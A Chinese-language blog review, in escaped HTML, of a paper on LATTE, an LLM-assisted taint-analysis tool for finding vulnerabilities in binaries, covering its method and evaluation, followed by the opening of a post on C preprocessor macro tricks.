作者制定的算法首先进行&lt;strong&gt;过程内&lt;/strong&gt; (intraprocedural) 数据依赖分析——即在函数 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 内部使用流不敏感 + 路径不敏感 + 指针别名数据依赖分析, 如果有循环导致的路径重复, 直接退出. 如果VD的污点实参直接依赖于函数 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 的形参 (说白了是来自上一个函数的调用传参 e.g., &lt;code&gt;f(x){foo(x)}&lt;/code&gt;), 分析就直接转入&lt;strong&gt;过程间&lt;/strong&gt; (Interprocedural) 数据依赖分析——看谁调用了谁, 分析深度最大50 (实际二进制很少那么深). 作者又举了个例子让我们理解:&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813163458622&quot; width=&quot;1846&quot; height=&quot;1101&quot; src=&quot;https://sh10rl.top/_astro/image-20250813163458622.BNDF4g_C_Z2jBTJ6.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;根据数据流, 这里是&lt;code&gt;CCs = {[fun2, fun1], [· · · , fun3, fun1]}&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;phase-2-dangerous-flow-generation&quot;&gt;Phase 2: Dangerous Flow Generation&lt;/h3&gt;
&lt;p&gt;主要目标是找到可以让外部输入流入VD的CC, 分两步:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Source Identification&lt;/strong&gt;: 使用了Sink Identification/Vulnerability Identification同样的方式让LLM识别:&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813122334003&quot; width=&quot;1341&quot; height=&quot;596&quot; src=&quot;https://sh10rl.top/_astro/image-20250813122334003.DH0VtZVD_1qnYPv.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;识别之后的函数会被放到一个 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;sources&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 集合, 以便复用. 当然LLM分析肯定会出错, 这里需要人工改成&lt;code&gt;(fscanf; &gt;2)&lt;/code&gt;, 但是只需要 “slight expert experience.”  &lt;del&gt;(是的, 是不是有点草台, 没错, 我也这么觉得).&lt;/del&gt;&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Matching and Deduplication&lt;/strong&gt;: 有了 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;sources&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 集合 (i.e, &lt;code&gt;{(source; Para), ... }&lt;/code&gt;), 我们可以把集合中的&lt;code&gt;source&lt;/code&gt; (这玩意还是个函数, 我们还是叫他 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 吧) 对应到刚刚分析的出来的CCs, 对应不到就说明这条CC没有能接收外部输入的函数, 舍去; 如果对应到那就继续分析&lt;code&gt;Para&lt;/code&gt;的流向, 与CCs中的污点数据流向重合那就放入候选危险流 (Candidate Dangerous Flow, CDF). 由于一个拥有多个 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 的CC可以产生多条CDF, 我们只保留最长的那条; 如果两个CC产生相同的CDF链或子链&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4&quot; aria-describedby=&quot;footnote-label&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;,  我们合并相同的CDF链, 清除相应的子链, 最后得到DFs. 文中给了个例子, 这里直接翻译原文了:&lt;/p&gt;
&lt;p&gt;我们使用 &lt;code&gt;CCs = {[fun2, fun1], […, fun3, fun1]}&lt;/code&gt; 在Fig 8. 中说明上述过程. 在 &lt;code&gt;fun2&lt;/code&gt; 中, 污点源 &lt;code&gt;fgets&lt;/code&gt; 被调用, 并且第一个参数 a 与 &lt;code&gt;func1&lt;/code&gt; 的参数 b 存在数据依赖关系 (图 8 的第 18 行中的 &lt;code&gt;snprintf&lt;/code&gt; 将 a 存储在 b 中). 因此, &lt;code&gt;[fun2, fun1]&lt;/code&gt; 是一个候选危险流 (CDF). 我们假设 &lt;code&gt;CC = […, fun3, fun1]&lt;/code&gt; 在递归分析后形成了 &lt;code&gt;{[fun5, fun4, fun3, fun1], [fun6, fun4, fun3, fun1]}&lt;/code&gt;. 如果污点源在 &lt;code&gt;fun4&lt;/code&gt; 和 &lt;code&gt;fun6&lt;/code&gt; 中被调用, 相应的 CDFs 是 &lt;code&gt;{[fun4, fun3, fun1], [fun6, fun4, fun3, fun1]}&lt;/code&gt;. 但是 &lt;code&gt;[fun4, fun3, fun1]&lt;/code&gt; 是 &lt;code&gt;[fun6, fun4, fun3, fun1]&lt;/code&gt; 的子链, 因此前者被丢弃. 最终的危险流 (DFs) 是 &lt;code&gt;{[fun2, fun1], [fun6, fun4, fun2, fun1]}&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;phase-3-prompt-sequence-construction&quot;&gt;Phase 3: Prompt Sequence Construction&lt;/h3&gt;
&lt;p&gt;作者设计Prompt时遵循的规则:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;明确陈述分析任务&lt;/li&gt;
&lt;li&gt;丰富Prompt内容&lt;/li&gt;
&lt;li&gt;分析师角色设定&lt;/li&gt;
&lt;li&gt;大任务分解成小任务&lt;/li&gt;
&lt;li&gt;制定输出格式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面是作者给出的 “三个可以实例化作用在每个DF上的Prompt模板”:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813140458702&quot; width=&quot;1666&quot; height=&quot;1091&quot; src=&quot;https://sh10rl.top/_astro/image-20250813140458702.dqABqJ_O_1gGYsR.webp&quot;&gt;&lt;/figure&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Start Template&lt;/strong&gt;: 输入为危险流DF的上下文,  及其第一个函数&lt;code&gt;(&amp;#x3C;function&gt;, &amp;#x3C;parameter&gt;)&lt;/code&gt;, 和第一个函数的函数体代码 , 其中 &lt;code&gt;&amp;#x3C;function&gt;&lt;/code&gt; 为DF (如 &lt;code&gt;[fun2, fun1]&lt;/code&gt;) 那么 &lt;code&gt;fun2&lt;/code&gt; 的函数, 和函数体, 和参数就被作为输入. 输出被标记为tainted的参数, 或者是否净化.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Middle Template&lt;/strong&gt;: 危险流DF的上下文, 以及当前所处位置, 当前函数哪些参数被标记为tainted, 当前函数体代码. 输出为被标记为tainted的参数, 或者是否净化. 如果当前函数体内有源函数, 那就加上括号的内容.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;End Template&lt;/strong&gt;: 输入为污点分析结果, 让LLM给出最终判定, 是不是漏洞, 属于什么CWE类型, 并给出理由.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;特别地, 当DF只有一个函数的时候, 只留下 &lt;strong&gt;Start&lt;/strong&gt; 和 &lt;strong&gt;End&lt;/strong&gt; Template, 作者又举了个例子:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813160630909&quot; width=&quot;1210&quot; height=&quot;1239&quot; src=&quot;https://sh10rl.top/_astro/image-20250813160630909.B01UZB0Q_1T0W4x.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;evaluation&quot;&gt;Evaluation&lt;/h2&gt;
&lt;p&gt;接下来是经典的评估环节, 在研究评估这一段, 作者使用问问题的方式来评估自己的研究成果 (Research Question):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RQ1&lt;/strong&gt;: LATTE检查漏洞有多好? 从三个方面解释:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;LATTE多有效? (Effectiveness)&lt;/li&gt;
&lt;li&gt;LATTE多稳定? (Stability)&lt;/li&gt;
&lt;li&gt;LATTE多高效? (Efficiency)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;RQ2&lt;/strong&gt;: LATTE识别sinks和sources多有效?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RQ3&lt;/strong&gt;: LATTE提取DFs多有效?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RQ4&lt;/strong&gt;: 提示词序列 (PS) 对LATTE的性能影响多大?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RQ5&lt;/strong&gt;: LATTE能不能扩展到真实世界的二进制漏洞分析?&lt;/p&gt;
&lt;h3 id=&quot;evaluation-setup&quot;&gt;Evaluation setup&lt;/h3&gt;
&lt;p&gt;本段在于交代实验如何实施和复现, 评测数据来源, 评测环境等, 用来支撑前面提出的RQs.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Implementation.&lt;/strong&gt;&lt;/em&gt;    LATTE的实现基于两个东西: Ghidra, GPT-4.0. 把二进制分析掉分几步:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把二进制加载到Ghidra.&lt;/li&gt;
&lt;li&gt;用Ghidra插件提取出必要信息.&lt;/li&gt;
&lt;li&gt;LATTE提取出DFs.&lt;/li&gt;
&lt;li&gt;LATTE用PSs指示LLM干活.&lt;/li&gt;
&lt;li&gt;把生成的每个结果分别存放在一堆文件中.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Benchmarks.&lt;/strong&gt;&lt;/em&gt;    使用了 Juliet Test Suite 和 Karonte 数据集中选取 Benchmark 来评估RQ1 - RQ4 (Juliet无CWE-120的基准, 所以加上了 Karonte); RQ5的评估进行在真实世界的来自 Karonte 的固件数据.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Baselines.&lt;/strong&gt;&lt;/em&gt;    选择了同类竞品 Emtaint 和 Arbiter 作为基线分别在 Juliet 和 Karonte 数据集上进行比较, 数据集不同当然Baseline也不同, 所以有两个Baseline. 他们没有找CodeQL, QueryX, Joern这些工具, 因为这些工具的性能很大程度上由人决定&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, 由于 Karonte 的固件数据没有绝对答案 (没人标注这个固件是否存在漏洞), 所以只能记录 TP, FP两项指标.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Metrics.&lt;/strong&gt;&lt;/em&gt;    Juliet Test Suite数据集的评估中使用了六个指标: TP, FN, TN, FP, Accuracy, F1 分数, 是不是很熟悉, 计算公式在文章开头有.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Running Environment.&lt;/strong&gt;&lt;/em&gt;    所有实验都是在一个 Intel Core i7-8750H CPU, 64G RAM 的 Linux 工作站上进行.&lt;/p&gt;
&lt;h3 id=&quot;vulnerability-inspection-rq1&quot;&gt;Vulnerability inspection (RQ1)&lt;/h3&gt;
&lt;h4 id=&quot;1-effectiveness&quot;&gt;1. Effectiveness&lt;/h4&gt;
&lt;p&gt;LATTE在从Juliet编译的, 去符号的二进制文件上进行漏洞检查因为CWE类型在同一个二进制文件上有重复 (树形结构), 作者只根据Juliet上面记载的CWE类型来看是否命中 &lt;del&gt;(这是不是会拉低准确率?)&lt;/del&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813224348826&quot; width=&quot;1590&quot; height=&quot;733&quot; src=&quot;https://sh10rl.top/_astro/image-20250813224348826.DsOcdgpD_11r3Fq.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;这里作者说明了CWE-190的情况, Arbiter 依赖符号表, LATTE不依赖, 这导致LATTE在TP落后 318 个, 但是加上符号表后, LATTE能超过Arbiter 485 个.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813224146272&quot; width=&quot;1510&quot; height=&quot;450&quot; src=&quot;https://sh10rl.top/_astro/image-20250813224146272.DJwOb0Z0_nvrxG.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Analysis of FNs and FPs.&lt;/strong&gt;&lt;/em&gt;    作者说是生成DFs和GPT的创造性 (原文是 “Creativity of GPT-4.0”, 这里应该是幻觉?) 问题, 后面会细讲.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;GPT-4.0 vs. GPT-3.5.&lt;/strong&gt;&lt;/em&gt;    作者也用GPT-3.5测试了LATTE, 显然GPT-4.0更胜一筹, 结论是LATTE的检测漏洞的有效性随着LLM的能力提高而提高.&lt;/p&gt;
&lt;h4 id=&quot;2-stability&quot;&gt;2. Stability&lt;/h4&gt;
&lt;p&gt;这段讲了LLM的temperature 参数的影响, 作者进行了两项实验, 分别评估LATTE的稳定性和temperature对检查结果的影响.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Analysis Stability at Temperature 0.5.&lt;/strong&gt;&lt;/em&gt;    作者在temperature 0.5的条件下进行了五轮测试, 测试五轮得到的交集由蓝色条标出. 漏洞召回率 (计算公式开头有写) 分别为: 90.42%, 88.42%, 58.04%, 和 82.5%, CWE-190召回率低的原因与上面一致, 是由于数据类型判定错误 (LLMs creativity) 和没有函数名称 (Symbol Table) 造成的.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250813225940628&quot; width=&quot;1727&quot; height=&quot;776&quot; src=&quot;https://sh10rl.top/_astro/image-20250813225940628.CxlNJitz_Zx3fYH.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Impact of Temperature on Analytical Results.&lt;/strong&gt;&lt;/em&gt;    下图给出了准确度在不同temperature下的箱线图:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814095400596&quot; width=&quot;1679&quot; height=&quot;851&quot; src=&quot;https://sh10rl.top/_astro/image-20250814095400596.nv8cnvQH_1yyFhC.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;以 0.4 为分界, 在0.4之前, 检查结果分布更加密集, 表明更稳定; 在0.4之后, 分布广, 检查结果更分散; 按中位数来看大致呈正态分布, 0.4 - 0.6 之间的准确度高; 所以最佳的temperature选择应该在0.4 - 0.6 之间, 兼顾准确率和稳定性.&lt;/p&gt;
&lt;h4 id=&quot;3-efficiency&quot;&gt;3. Efficiency&lt;/h4&gt;
&lt;p&gt;这里看的是时间和钱, 在表2里有展示, 主要时间花在了与GPT-4.0的对话上; 关于钱, 作者说总比雇一个人工分析师来的好, 而且随着LLM进步, API cost 也会变得更低, 文章只给出了分析出DF所需的花费: 0.35刀.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Answer to RQ1.&lt;/strong&gt;&lt;/em&gt;    平均准确率为77%, LATTE优于Emtaint 和 Arbiter. 此外平均召回率是79.85%, 说明LATTE的检查结果是稳定的.&lt;/p&gt;
&lt;h3 id=&quot;sink-and-source-identification-rq2&quot;&gt;Sink and Source Identification (RQ2)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Answer to RQ2.&lt;/strong&gt;&lt;/em&gt;    LATTE平均精确度为82.1%, 覆盖率 (召回率)为 100%. 这意味着所有sink &amp;#x26; source pair都被召回, 其识别的所有sink &amp;#x26; source pair中平均有82.1%为正确 (TP) 的&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814130920282&quot; width=&quot;1669&quot; height=&quot;367&quot; src=&quot;https://sh10rl.top/_astro/image-20250814130920282.CntcfNZA_Z1nsMLu.webp&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;dangerous-flow-extraction-rq3&quot;&gt;Dangerous Flow Extraction (RQ3)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Answer to RQ3.&lt;/strong&gt;&lt;/em&gt;    平均精确度为100%, 平均召回率为95%. 这意味着LATTE提取出来的DFs有100%是真DF, 在所有实际存在的DFs中LATTE提取出了95%的DFs.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814134418806&quot; width=&quot;1579&quot; height=&quot;490&quot; src=&quot;https://sh10rl.top/_astro/image-20250814134418806.BIPL2lOb_Z2nhx90.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;对于假阴性, 作者将原因归为:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ghidra 反编译错误, 比如参数识别错误&lt;/li&gt;
&lt;li&gt;纯虚函数调用, 虚函数没有函数体, 无法分析.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;prompt-sequence-construction-rq4&quot;&gt;Prompt Sequence Construction (RQ4)&lt;/h3&gt;
&lt;p&gt;作者尝试了5种不同的方式来构建提示词序列, 改了两个参数:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;代码切片的粒度&lt;/li&gt;
&lt;li&gt;任务描述的细节程度/粒度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;将这些修改参数后的5个方案所得到的准确度与原来的PS (Their best design) 进行比较&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;让代码切片为整个程序, 即把整个反编译出来的代码一次性丢给LLM&lt;/li&gt;
&lt;li&gt;把整个DF丢给LLM&lt;/li&gt;
&lt;li&gt;最小粒度的切片, 只保留有关参数的行&lt;/li&gt;
&lt;li&gt;去掉角色指定&lt;/li&gt;
&lt;li&gt;不要那么多Prompt模板了, 直接一把梭, 告诉我漏洞判定结果&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814145550413&quot; width=&quot;1646&quot; height=&quot;1008&quot; src=&quot;https://sh10rl.top/_astro/image-20250814145550413.Dgi_RHQy_ZPusFO.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Answer to RQ4.&lt;/strong&gt;&lt;/em&gt;    与基于不同代码切片粒度和分析任务描述粒度构建的提示 (提示序列) 相比, LATTE 在检测二进制漏洞方面表现出更高的准确性.&lt;/p&gt;
&lt;h3 id=&quot;real-world-vulnerability-inspection-rq5&quot;&gt;Real-world Vulnerability Inspection (RQ5)&lt;/h3&gt;
&lt;p&gt;作者扫了49 个真实固件, 在255个alert当中有222是TP, 有119个独特bugs &lt;del&gt;(所以到底是117还是119)&lt;/del&gt;. 可怜的 Karonte 和 Arbiter 被拿来比较, TP和准度都比他俩高, 时间还短, 作者提到了 Karonte 和 Arbiter 依赖于符号执行, 所以时间长. Emtaint 的TP数量虽然多, 但是很多是同一个bug的重复的数据流, 虽然LATTE漏掉了16个 Emtaint 发现的独特bugs (作者给出的理由是指针别名识别不准导致的调用链缺失), 但LATTE发现的这119个bugs中有21个是Emtaint没发现的.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814153112231&quot; width=&quot;1556&quot; height=&quot;495&quot; src=&quot;https://sh10rl.top/_astro/image-20250814153112231.DRbEsADc_Z16FiEq.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250814153349813&quot; width=&quot;1293&quot; height=&quot;511&quot; src=&quot;https://sh10rl.top/_astro/image-20250814153349813.vyVkJ0wC_FXmRz.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Answer to RQ5.&lt;/strong&gt;&lt;/em&gt;    LATTE发现了119个独特bugs &lt;del&gt;(所以是119喽)&lt;/del&gt;, 总体由于同类竞品&lt;/p&gt;
&lt;h2 id=&quot;discussion&quot;&gt;Discussion&lt;/h2&gt;
&lt;p&gt;LATTE不能有效检查逻辑, 竞态, 和复杂数学计算漏洞, 这会导致污点标记过多/过少, 复杂漏洞需要提取更多的上下文比如, 资源锁, 中断向量表, 共享内存地址, 如何让丢给LLMs的上下文更加有效是将来研究的一个方向; 二进制分析这块, 难点有三个, 指针别名 (两个指针引用同一内存), 虚函数/间接调用, 函数内联; 识别库函数这块, 大部分都是系统库函数 (glibc), 动态链接所以会保留符号, 降低了错误发生率; 评估指标这块, 精准度 (Precision) 和 召回率 (Recall) 二者是个权衡, 分析严格 -&gt; FPs降低, Pre提高, 反之, 分析不严格 -&gt; Recall提高, Pre降低; 二进制文件的保护这块, 被混淆的, 加密的二进制文件需要额外操作. 有趣的是, 如果命名函数为 “no_vulnerability” 会干扰LLM的识别效果.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;核心是使用友善的提示词工程让LLM协助人工分析, 效果也不错, 使用代码切片, 分解任务的方式解决了上下文的问题. LLM在根据我们给它的上下文”预测”漏洞的有无, 所以事后要人工检查, 它不是数据库或严格逻辑机, 所以更灵活, 而现在的Agent的工具调用可以让LLMs得到有效的反馈, 同时也优化了上下文, 单论提示词工程有局限性, 后续可以考虑加入实证性的工具类协助LLMs.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;section class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;二者均考虑的原因: 显然, 在 1000 样本, 10 个真漏洞(正类), 990 个非漏洞(负类), 如果一个工具测出来全阴: &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;F1 = 0&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;; &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;990&lt;/mn&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;/&lt;/mi&gt;&lt;mn&gt;1000&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;99&lt;/mn&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;%&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;Accuracy = 990 / 1000 = 99\%&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;, 这种情况下就需要二者均考虑了. &lt;a href=&quot;#user-content-fnref-1&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;Sources, 一个可以让危险数据进入程序运行状态的程序点, Program Points = API + Other Execution Location &lt;a href=&quot;#user-content-fnref-2&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;论文里使用了Ghidra进行调用图分析. 具体来讲, 作者通过遍历Ghidra识别到的函数们得到了每个函数的内存地址 &lt;a href=&quot;#user-content-fnref-3&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;比如&lt;code&gt;CC1 = {main, A, B, sink}&lt;/code&gt;, &lt;code&gt;CC2 = {main, X, A, B, sink}&lt;/code&gt;, 产生的CDF可以是相同的: &lt;code&gt;CDF = {A, B, sink}&lt;/code&gt; &lt;a href=&quot;#user-content-fnref-4&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;CodeQL, QueryX和Joern等工具通过运行自定义的手写查询/规则来工作, 这些查询/规则由人编写, 用于查找特定的错误模式; 这意味着他们的结果由自定义的查询/规则的质量决定. &lt;a href=&quot;#user-content-fnref-5&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded><category>Reading</category></item><item><title>Notes on nju-pa</title><link>https://sh10rl.top/posts/nju-pa/</link><guid isPermaLink="true">https://sh10rl.top/posts/nju-pa/</guid><description>Updating</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;pa1-perform-value-based-checks-for-macros-using-a-macro&quot;&gt;pa1: Perform value-based checks for macros, using a macro&lt;/h2&gt;
&lt;p&gt;If we want to check whether a macro exists, we can simply use &lt;code&gt;#ifdef&lt;/code&gt;. Here, we want to test whether a &lt;strong&gt;macro exists&lt;/strong&gt; and &lt;strong&gt;has a specific value&lt;/strong&gt; using a function-like macro.&lt;/p&gt;
&lt;p&gt;Let’s design a macro with the return value of &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// test if a boolean macro is defined
ISDEF(macro)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If we have:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;#define FOO x
if(ISDEF(FOO)) {
	printf(&quot;FOO is a boolean value!&quot;);
}else { // otherwise
    printf(&quot;FOO is either undefined or not a boolean value&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The definition of &lt;code&gt;ISDEF&lt;/code&gt; will be:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;#define __P_DEF_0 X,
#define __P_DEF_1 X,

#define concat_temp(x, y) x ## y
#define concat(x, y) concat_temp(x, y)

#define choose_2nd(a, b, ...) b
#define MUX_TMP(p, a, b) choose_2nd(p a, b)
#define MUXDEF(macro, a, b) MUX_TMP(concat(__P_DEF_, macro), a, b)
#define ISDEF(macro) MUXDEF(macro, 1, 0)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The prerequisites for understanding the snippet are some rules as per the C standard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Arguments passed to the “function” (function-like macro) are expanded first if the argument is a macro at the call site.&lt;/li&gt;
&lt;li&gt;However, arguments will not be expanded if they are the operand of &lt;code&gt;#&lt;/code&gt; (stringizing) or &lt;code&gt;##&lt;/code&gt; (token-pasting).&lt;/li&gt;
&lt;/ol&gt;
